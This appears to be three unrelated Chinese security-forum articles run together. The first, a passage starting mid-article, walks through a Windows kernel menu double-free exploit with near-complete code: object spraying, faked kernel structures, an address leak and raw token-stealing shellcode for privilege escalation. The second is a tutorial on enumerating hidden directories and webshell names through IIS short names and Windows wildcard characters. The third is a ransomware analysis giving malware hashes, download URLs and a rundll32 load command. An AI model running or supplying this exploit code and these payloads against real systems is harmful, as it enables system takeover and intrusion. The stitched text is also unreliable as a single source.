{
// 对刚刚保存的窗口句柄先隐藏再关闭就可以再次创建阴影窗口
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
前面对`xxxMNEndMenuState`函数的分析中已经说过了，在目标菜单窗口对象创建完成并成功显示时，系统为该窗口对象创建关联的类型为
`SysShadow` 的阴影窗口对象。同样地，创建阴影窗口对象并发送 WM_NCCREATE 消息时，系统也会调用 `xxxCallHook`
函数来分发调用挂钩程序，所以我们可以在`xxWindowHookProc`函数中进行对阴影窗口消息处理函数的hook。至于为什么要像代码中设置三个阴影窗口，我们需要先了解一下终止菜单时的一些机制。
LABEL_227: // EndMenu
xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
if ( menuState->flags & 0x100 )
xxxMNEndMenuState(1);
return 0;
消息处理函数 `xxxMenuWindowProc`
接收到MN_ENDMENU消息及菜单对象是非模态时，会在`xxxMNEndMenuState`函数被调用之前调用`xxxEndMenuLoop`函数，该函数最终会调用`xxxDestroyWindow`函数和`xxxFreeWindow`函数销毁弹出的子菜单的窗口对象，这两个函数都会调用`xxxRemoveShadow`函数来释放阴影窗口对象，如果只有一个阴影窗口的话，应该是第一次释放成功，第二次发现存储阴影窗口的链表中无法查到有效节点而返回。
也就是说，在我们进行第一次释放的时候，我们的窗口关联的阴影对象链表中的节点已经被释放了两次，又因为我们要马不停蹄的进行下一次释放来调用我们自己设置的消息处理程序，所以我们必须要早早设置三个阴影窗口对象，并且将第三个阴影窗口的消息处理程序hook掉，这样就能在第一次释放之后处理uButtonDownHitArea时再次获得控制权。
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
判断传入的消息是否为WM_NCDESTROY，如果是的话就调用`NtUserMNDragLeave`函数，该函数同样可以调用`xxxMNEndMenuState`函数：
/***************************************************************************\
* xxxUnlockMenuState
*
* 11/24/96 GerardoB Created
\***************************************************************************/
BOOL xxxUnlockMenuState (PMENUSTATE pMenuState)
{
UserAssert(pMenuState->dwLockCount != 0);
(pMenuState->dwLockCount)--;
if ((pMenuState->dwLockCount == 0) && ExitMenuLoop(pMenuState, pMenuState->pGlobalPopupMenu)) {
xxxMNEndMenuState(TRUE);
return TRUE;
}
return FALSE;
}
继续调用`xxxMNEndMenuState`函数就意味着会再次执行`MNFreePopup(pMenuState->pGlobalPopupMenu);`，上一个`xxxMNEndMenuState`函数中pGlobalPopMenu刚刚被释放过，现在再释放一次，自然造成了Double
Free。
# exp分析
## 准备工作
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
首先在用户进程中分配完整内存页的`RWX`内存块，并初始化相关成员域，将 ShellCode 函数代码拷贝到从成员域 pfnWindProc
起始的内存地址。
## 伪造根弹出菜单对象
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
xxNtUserMNDragLeave();
进行第一次释放之后，程序会进入我们预期的xxxShadowWindowProc，我们可以通过`SetClassLongW`函数在这里对大量窗口设置MENUNAME字段，内核会为窗口类tagCLS对象的成员域IpsMenuName分配并设置UNICODE缓冲区。因为IpsMenuName和弹出菜单ragPOPUPMENU对象的缓冲区都是进程配额的内存块，大小相同，所以可以用来占位刚刚释放的内存，伪造根弹出菜单对象，使系统认为弹出对象并没有被释放，而是正常的存在于内核中。
至于这里的大量窗口是哪来的，需要我们在程序调用`TrackPopupmenuEx`函数之前创建：
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
if (hwnd == NULL)
{
continue;
}
hWindowList[iWindowCount++] = hwnd;
}
调用`CreateWindowEx`函数创建大量窗口并注册单独的窗口类，以备后续使用。
## 伪造弹出菜单对象成员域
弹出对象已经伪造成功了，但如果`xxxMNEndMenuState`函数对成员域进行解锁的话还是会报错，因为我们还没有对成员域进行构造，我们需要让他们指向有效的内存空间，这样才能正确运行。
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPED);
载体窗口对象 hWindowHunt 具有 0x200 字节大小的扩展区域，扩展区域紧随基础的 tagWND
对象其后，在利用代码中将用来伪造各种相关的内核用户对象，以使系统重新执行 `xxxMNEndMenuState函数`期间，执行流能正常稳定地执行。
## 泄露内核对象地址
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
通过硬编码匹配的方式，从 user32 模块的导出函数 IsMenu 中查找并计算函数 `HMValidateHandle`
的地址，这个未导出的函数接收用户句柄和对象类型作为参数，在内部对参数进行验证，验证通过时则返回目标对象在当前进程桌面堆中映射的地址。
有了这招，我们先泄露tagWND在桌面堆中的地址，该结构如下：
其中的pSelf指向所属对象的内核地址，因此我们也得到了当前窗口对象的内核地址。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
将载体窗口对象的扩展区域预留 4 字节，将剩余 0x1FC 字节的内存区域全部填充为扩展区域 +0x04
字节偏移的地址，填充的数值将作为各种伪造对象的句柄、引用计数或对象指针成员域。接下来将剩余内存区域 +0x44
字节偏移的内存数据作为伪造的内核用户对象头部结构，其地址被作为伪造的根弹出菜单 tagPOPUPMENU 对象的各个指针成员域的值。
## 内核代码执行
窗口结构体 tagWND 对象的成员标志位 bServerSideWindowProc
是一个特殊标志位，该标志位决定所属窗口对象的消息处理函数属于服务端还是客户端。如果该标志置位的话，函数会直接使当前线程在内核上下文调用目标窗口对象的消息处理函数。如果我们将未置位的窗口置位并劫持消息处理函数的话的话，便可以将我们设置的函数在内核上下文中执行。
该成员位于tagWND对象的第18比特位，标志位 bDialogWindow 的位置是 bServerSideWindowProc
所在字节的起始比特位。通过研究发现，在创建普通窗口对象时，如果样式参数 dwStyle 和扩展样式参数 dwExStyle 都传值为 `0`
默认值，那么在内核中成员域 bDialogWindow 和 bHasCreatestructName
都将未被置位。因此可以借助这个特性，实现对目标关键标志位的置位。
pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
获得bDialogWindow的地址，再设置准备工作中设置的pfnWindProc成员域为hWindowHunt的消息处理函数。
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
设置bDialogWindow的减四字节作为构造的tagPOPUPMENU对象的某个窗口对象指针成员域，这样刚刚提到的三个标志位正好位于该指针该指针成员域指向的窗口对象的锁计数成员域cLockObj的低3比特位，这样的话在`xxxMNEndMenu`函数对该成员域解锁的时候，会对bDialogWindow起始的32位数值自减，这会导致三个标志位都为1，从而获得hook的消息处理函数在内核上下文执行的机会。
## shellcode
第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS 对象的成员域 lpszMenuName
指向的缓冲区。这将导致在进程退出时销毁用户对象期间，系统在内核中释放目标窗口类对象成员域 lpszMenuName 时引发重复释放的异常。
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
我们需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName
置空。我们需要在批量创建窗口的时候将每一个窗口的成员域pcls指向地址保存起来。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
查找需置空成员域IpszMenuName的目标窗口类对象需要与根弹出菜单对象的内核地址进行匹配，这一步我们可以在`xxxWindowEventProc`函数中实现。
接着构造payload，在准备工作中，我们就将`xxPayloadWindProc` 的代码拷贝到 SHELLCODE
对象缓冲区中。不同于用户模式的消息处理函数，内核模式窗口对象处理函数的第一个参数是指向目标窗口tagWND的指针，其余相同。
// Arguments:
// [ebp+08h]:pwnd = pwndWindowHunt;
// [ebp+0Ch]:msg = 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
// Loader+0x108a:
// Judge if the `msg` is 0x9f9f value.
0x55, // push ebp
0x8b, 0xec, // mov ebp,esp
0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
// Loader+0x109b:
// Judge if CS is 0x1b, which means in user-mode context.
0x66, 0x8c, 0xc8, // mov ax,cs
0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128
// Loader+0x10a8:
// Get the address of pwndWindowHunt to ECX.
// Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
// Get the address of pvShellCode to EDX by CALL-POP.
// Get the address of pvShellCode->tagCLS[0x100] to ESI.
// Get the address of popupMenuRoot to EDI.
0xfc, // cld
0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
0x60, // pushad
0xe8, 0x00, 0x00, 0x00, 0x00, // call $5
0x5a, // pop edx
0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
0x8d, 0x72, 0x18, // lea esi,[edx+18h]
0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
// Loader+0x10c7:
0x85, 0xdb, // test ebx,ebx
0x74, 0x13, // je Loader+0x10de
// Loader+0x10cb:
// Judge if pvShellCode->tagCLS[ebx] == NULL
0xad, // lods dword ptr [esi]
0x4b, // dec ebx
0x83, 0xf8, 0x00, // cmp eax,0
0x74, 0xf5, // je Loader+0x10c7
// Loader+0x10d2:
// Judge if tagCLS->lpszMenuName == popupMenuRoot
0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
0x39, 0x38, // cmp dword ptr [eax],edi
0x75, 0xee, // jne Loader+0x10c7
// Loader+0x10d9:
// Zero tagCLS->lpszMenuName
0x83, 0x20, 0x00, // and dword ptr [eax],0
0xeb, 0xe9, // jmp Loader+0x10c7
// Loader+0x10de:
// Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
// Get the value of pvShellCode->pid to EAX.
0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x8b, 0x09, // mov ecx,dword ptr [ecx]
0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
0x51, // push ecx
// Loader+0x10f0:
// Judge if EPROCESS->UniqueId == pid.
0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
0x74, 0x07, // je Loader+0x10fd
// Loader+0x10f6:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf3, // jmp Loader+0x10f0
// Loader+0x10fd:
// Get current EPROCESS to EDI.
0x8b, 0xf9, // mov edi,ecx
0x59, // pop ecx
// Loader+0x1100:
// Judge if EPROCESS->UniqueId == 4
0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
0x74, 0x07, // je Loader+0x110e
// Loader+0x1107:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf2, // jmp Loader+0x1100
// Loader+0x110e:
// Get system EPROCESS to ESI.
// Get the value of system EPROCESS->Token to current EPROCESS->Token.
// Add 2 to OBJECT_HEADER->PointerCount of system Token.
// Return 0x9F9F to the caller.
0x8b, 0xf1, // mov esi,ecx
0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
0x03, 0xf0, // add esi,eax
0x03, 0xf8, // add edi,eax
0xad, // lods dword ptr [esi]
0xab, // stos dword ptr es:[edi]
0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
0x61, // popad
0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
0xeb, 0x05, // jmp Loader+0x112d
// Loader+0x1128:
// Failed in processing.
0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
// Loader+0x112d:
0xc9, // leave
0xc2, 0x10, 0x00, // ret 10h
};
1. 判断传入的消息是否为0x9F9F。
2. 将匹配到的 tagCLS 对象的成员域 lpszMenuName 置空。
3. 当前进程和 System 进程的进程体对象地址，并修改当前进程的Token为System进程的Token。
4. 恢复前面备份的通用寄存器的数值到寄存器中，并赋值返回值为 0x9F9F 作为向调用者的反馈信息。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
SHELLCODE已经布置好了，接下来在自定义阴影窗口消息处理函数中调用系统服务 `NtUserMNDragLeave`
并且对载体窗口对象发送自定义提权消息 `0x9F9F`
的调用语句，返回结果保存在bDoneExploit中。这样，如果主线程监听到bDoneExploit被成功赋值的话就创建新的CMD。 | 社区文章 |
## Windows下的"你画我猜" -- 告别效率低下的目录扫描方法
### 0x01 前言
对Web应用进行安全测试时，我们常常需要猜测网站的结构与目录，若能得到网站详尽的拓扑结构，得到重要的目录名，文件名信息，可以为我们后续的测试创造良好的基础。
在Linux下，我们并没有特别好的办法，只能尝试去识别应用指纹，或者是暴力枚举，这是一种效率很低下的目录扫描方法，而且效果很差。
但是如果碰到的是Windows环境，我们就拥有了很多能与Web管理员斗智斗勇的方法，和他们玩一场"你画我猜"的游戏，告别效率低下的目录扫描方法。
由于篇幅长度原因，本文暂对如下几种环境进行测试
Windows + IIS + .net
Windows + IIS + PHP
Windows + Apache + PHP
Windows + Nginx + PHP
先讲两部分的前置知识:
### 0x02 WinAPI与通配符的那些事
在Windows环境下使用PHP时，PHP中的部分函数会调用2个底层Windows
API函数FindFirstFileExW()，FindFirstFile()
这两个函数对 < > " 三个字符做了特别的对待和处理:
大于号 > 等价于 通配符 ？ 0次或1次
小于号 < 等价于 通配符 * 0次或多次
双引号 " 等价于 通配符 . 匹配除换行符(\n, \r)之外的任意单个字符
也就是说，在Windows下的PHP的某些函数中，我们可以使用< > "来匹配一些文件名/目录名
这里的部分函数包括但不限于:
include()
include_once()
require()
require_once()
fopen()
copy()
file_get_contents()
readfile()
file_put_contents()
mkdir()
opendir()
readdir()
move_uploaded_file()
getimagesize()
......
其实我们可以发现，这主要是WinAPI的问题，任何调用这些WinAPI的语言都有可能存在以上问题，不只是PHP，这里只是以PHP为例。
### 0x03 IIS短文件名的那些事
远古时代的DOS下存在这样的文件命名规则:
主文件名不能超过8个字符，扩展名不能超过3个字符
所以我们也把它叫为8.3格式。
Windows为了兼容MS-DOS，为文件名超过8位，扩展名超过3位的文件都会对应地创建一个8.3格式的文件名，也称为短文件名。
在cmd下使用命令 dir /x 可以查看文件对应的短文件名
可以发现短文件名有如下2个特征:
1.文件名只显示前6个字符，后续字符用~1代替。当存在多个文件名类似的文件时(文件名前6位相同，且后缀名前3位相同)，数字1会进行递增。
2.后缀只显示前3个字符。
### 0x04 Windows + IIS 6 + .net 文件/目录猜测
适用条件与局限:
1.被猜测文件的文件名长度需超过8位，或后缀名超过3位。
2.环境为Windows + IIS + .net
3.只能猜测出文件名的前6位，后缀名的前3位。
说到猜测目录，不得不提IIS短文件名漏洞，该漏洞于2012年由一位安全研究员发现。
当我们访问某个存在的短文件名时，会返回404。而当我们访问某个不存在的短文件名时，会返回400，依据返回结果的不同，就可以进行逐位猜测了。
比如要猜测出如下文件
abc7758521woaini.aspx
* 猜测文件名/目录名
进行如下猜解，不断向下猜解完所有的6个字符，
http://192.168.219.129/a*~1****/xxx.aspx 返回404 猜测正确
http://192.168.219.129/aa*~1****/xxx.aspx Bad Request 猜测错误
http://192.168.219.129/ab*~1****/xxx.aspx 返回404
http://192.168.219.129/abc*~1****/xxx.aspx 返回404
......
http://192.168.219.129/abc774*~1****/xxx.aspx Bad Request
http://192.168.219.129/abc775*~1****/xxx.aspx 返回404
到了这一步，我们要来判断这是一个目录还是一个文件。
若如下请求返回404，则代表它是一个目录，否则就是一个文件
http://192.168.219.129/abc775*~1/xxx.aspx
* 猜测文件后缀
接下来开始猜解文件后缀，不断向下猜解完所有的3个字符
http://192.168.219.129/abc775*~1*a**/xxx.aspx
http://192.168.219.129/abc775*~1*as*/xxx.aspx
http://192.168.219.129/abc775*~1*asp/xxx.aspx
返回如下结果:
至此，我们的猜测也就结束了，剩下的位数只能靠脑洞去猜了。
### 0x05 Windows + IIS 7.x + .net 文件/目录猜测
之所以把IIS 7.x单独拿出来说，是因为之前踩过一次很深的坑，郁闷了很久。
根据Soroush Dalili的研究报告，不同版本的IIS返回结果如下:
作者给出了IIS 7.x开启了详细错误之后，不同页面的变化情况，然而默认情况下都是显示一个自定义的404页面，并不会给出详细错误。
我们的目标是猜测出根目录下的一个目录名:
abcdefg1234567aaabbb
在默认情况下，无论该文件/目录是否存在，都会返回一个404，返回结果没有差异的话，我们也就无法猜测了。
http://192.168.219.240/a*~1****/xxx.aspx
http://192.168.219.240/b*~1****/xxx.aspx
这里郁闷了好久，最后发现使用OPTIONS方式请求，可以得到不一样的返回结果:
存在时会返回404，不存在时会返回200，根据返回结果的差异，我们就可以探测出目录名的短文件名:
当我们主动开启了详细错误之后，使用GET请求也可以得到有差异的结果了。
若存在 <http://192.168.219.243/a*~1****/xxx.aspx> 错误代码为 0x00000000
若不存在 <http://192.168.219.243/b*~1****/xxx.aspx> 错误代码为 0x80070002
### 0x06 Windows + Apache + PHP 文件/目录猜测
在该环境下，我们就无法像在IIS下直接用URL访问的方式去逐位猜测短文件名了，但是在该环境下，有两个杀伤力更大的特性:
1.当Web程序中存在某些函数时(前置知识中提到的)，我们借助它们来逐位猜测出完整目录名，文件名，并且没有长度大小的限制。
2.虽然无法直接用URL访问的方式去逐位猜测出 短文件名，但是可以用URL访问的方式直接访问/下载 已知短文件名的目录/文件
首先介绍第1个特性
* 特性1
这里以HITB 2018的一道CTF题目为例，示例代码如下:
<?php
$filename = $_GET['filename'];
$file = "./abcdefg1234567aaabb/" . $filename;
var_dump(getimagesize($file));
?>
网站存在上传功能，我们将一个php木马上传到了某目录下(abcdefg1234567aaabb)，但是不知道其目录名。
幸运的是，我们可以向1.php的filename参数传入该目录下的一个图片名，程序会返回该图片的尺寸信息。
执行如下访问
http://192.168.219.197/1.php?filename=../a</01.png 返回正常
http://192.168.219.197/1.php?filename=../aa</01.png 返回错误
http://192.168.219.197/1.php?filename=../ab</01.png 返回正常
......
http://192.168.219.197/1.php?filename=../abcdefg</01.png 返回正常
......
http://192.168.219.197/1.php?filename=../abcdefg1234</01.png 返回正常
......
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb</01.png 返回正常
接下来的26 + 10 次尝试中，均返回错误，证明我们已经将目录名猜解完毕，得到目录名:
abcdefg1234567aaabb
假设我们连php木马名也不知道呢?猜解文件名也是同一个道理
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb/w<.php
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb/wo<.php
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb/woa<.php
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb/woai<.php
......
http://192.168.219.197/1.php?filename=../abcdefg1234567aaabb/woainihhhh<.php
接下来的26 + 10 次尝试中，均返回错误，证明我们已经将文件名猜解完毕，得到文件名。将目录名和文件名拼接:
http://192.168.219.197/abcdefg1234567aaabb/woainihhhh.php
* 特性2
事实上，在上一步中，我们并不需要猜测出完整文件名，目录名，用短文件名就可以直接访问，下载了。
http://192.168.219.197/abcdef~1/woaini~1.php
想要下载如下文件
http://192.168.219.197/uploads/abcdefgasd1241asd123sgadg123sdgasd123dzg.zip
同样可以使用短文件名去下载
http://192.168.219.197/uploads/abcdef~1.zip
这种方法在IIS下无法使用，IIS不接受直接用短文件名访问的请求方式。
### 0x07 Windows + IIS + PHP 文件/目录猜测
在该环境下，可以用到很多前面提到的特性，所以遇到Windows + IIS + PHP就偷偷笑吧！
1.可以使用URL访问的方式，来逐位猜测出目录/文件的短文件名
2.当Web程序中存在某些函数时(前置知识中提到的)，我们借助它们来逐位猜测出完整目录名，文件名，并且没有长度大小的限制。
3.可以使用URL访问的方式，用通配符直接访问文件(但不能访问目录)
首先介绍特性1
* 特性1
我们使用前面提到过的OPTIONS请求方式来逐位猜测目录的短文件名
存在时返回404，不存在时返回200
* 特性2
该特性上节介绍过了，是PHP的特性，与Web服务器种类无关。
首先逐位猜测出目录名，过程略
http://192.168.219.241/1.php?filename=../abcdefg1234567aaabbb/<.php
用同样的方法逐位猜测出文件名:
http://192.168.219.241/1.php?filename=../abcdefg1234567aaabbb/woainihhhh.php
继而得到了完整文件路径:
http://192.168.219.241/abcdefg1234567aaabbb/woainihhhh.php
* 特性3
事实上我们猜测出目录名就足够了，文件名可以直接使用通配符去访问:
http://192.168.219.241/abcdefg1234567aaabbb/w<.php
### 0x08 Windows + Nginx + PHP 文件/目录猜测
在该环境下，依然可用使用提到的多个特性，但是有一点微小的差异:
1.可以直接用短文件名，访问目录和文件
2.可以直接用通配符访问文件，但是不能访问目录
3.PHP某些函数的特性
* 特性1
http://192.168.219.241/abcdefgwoaini123/xxxaaabbbccc.php
等价于
http://192.168.219.241/abcdef~1/xxxaaa~1.php
* 特性2
http://192.168.219.241/abcdefgwoaini123/xxxaaabbbccc.php
等价于
http://192.168.219.241/abcdef~1/x<.php
* 特性3
逐位猜测目录名:
http://192.168.219.241/1.php?filename=../abcdefgwoaini123</1.php
这里稍有不同，Read error代表存在
逐位猜测文件名
http://192.168.219.241/1.php?filename=../abcdefgwoaini123/xxxaaabbbccc<.php
进而拼接处完整文件路径:
<http://192.168.219.241/abcdefgwoaini123/xxxaaabbbccc.php>
### 0x09 结尾
前面提到的各种环境下不同的特性，其实都是由WinAPI，通配符，短文件名这三者，与Web服务器，Web语言本身的一些特性结合之后产生的。
所以说，影响范围不只是上面这5种，与其它语言，其它类型的Web服务器，结合之后，很可能又会产生更多更奇怪的特性来，有兴趣的同学可以去测试。
借助于这些特性，在遇到Windows环境下的目录探测问题时，我们可以更从容，更巧妙地进行高效的文件,目录的探测。
这篇文章也从另一个角度证明，Linux确实更适合作为服务器，安全性在某种程度上也要更好一些，至少不存在这么多奇怪的特性。
### 0x10 参考
* <https://www.cnblogs.com/palidin/p/7831061.html>
* <https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf>
* <https://github.com/lijiejie/IIS_shortname_Scanner>
* <https://xz.aliyun.com/t/2004>
* <http://www.moonsec.com/post-304.html>
* <https://www.xctf.org.cn/library/details/hitb-quals-2018/#upload-web> | 社区文章 |
1.概述
黑客通过群发邮件的方法，诱导用户点击，点击后，从黑客控制的网站服务器中下载加密的勒索软件，解密后经过分析发现是属于LOCKY家族的zepto勒索软件，zepto是今年6月份开始大规模爆发的勒索软件，对用户资产危害极大。
2.详细分析
黑客通过将恶意的js下载者文件压缩的方式来逃避传统的杀毒软件的检测。下面是收集到的压缩文件。
0e1cc40d9f3d7eb97eacf618384ab7c70df3d9a2e38b23fde70c8269f5c33807
882af2ae159505681b146aac2092ae2f888a6cd28f08093de045155baadcc122
9779195cabb5547307cfad9e52d543fda56f3e8ff8eb517289d2ac15eba89ee4
a25e21c1a34f4639b8b816c0e7daf96bb1feaf65a4f32a9e629a2909d63c41bd
在用户将压缩文件打开就可以看到里面的hta文件，hta虽然用HTML、JS和CSS编写，
却是一个独立的应用软件。在用户双击后下载勒索软件。
hta文件hash如下
c28480a18bb444f1932cafe1ffe65544d3624840f82c204e045834b0e5004ac7
e970237971a88052964a8a57807a8315ce862dd2d8d5aa8fcd14e419bed1ebd5
aee3478b5f6782c9adcabf84bce7992e84634b9e4e7277f34bdb2fc678a7bf66
4e875a71ee290396c5bc3cb2db583d24fdf9bbb5e5b1bcd932ce12dd3cc2daaa
252c1e2ab29b8c077edbf5f69d9f0382554d0751dcb96e8c1a29c0ce331b035b
c28480a18bb444f1932cafe1ffe65544d3624840f82c204e045834b0e5004ac7
94c792d255b0afeaac9db3eff5fd72a654e9c5f726a70b061b550dc0564fcef
下面选择一个进行详细分析
样本信息
文件名称
XJCV3427.hta
文件SHA256
aee3478b5f6782c9adcabf84bce7992e84634b9e4e7277f34bdb2fc678a7bf66
文件类型
Hta
里面是经过混淆的js文件
经过解混淆，可以发现文件会从两个地址下载两个文件，将两个文件进行解密成一个dll文件，通过rundll32.exe进行加载。加载命令为C:\WINDOWS\system32\rundll32.exe
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/解密文件.dll,qwerty
发现从下面两个网址进行下载，下载的URL为
blivenews.com/746t3fg3
pvtltdregistration.com/746t3fg3
下载的两个文件是
da0c4063041c2e6111ebfb52e6ecaa1b3a5c5e978bf3544fae61c9620609d480
78900539b0e2907007f5de818ac69c89eaf7ff1b29f901ff84e65d0b1e718021
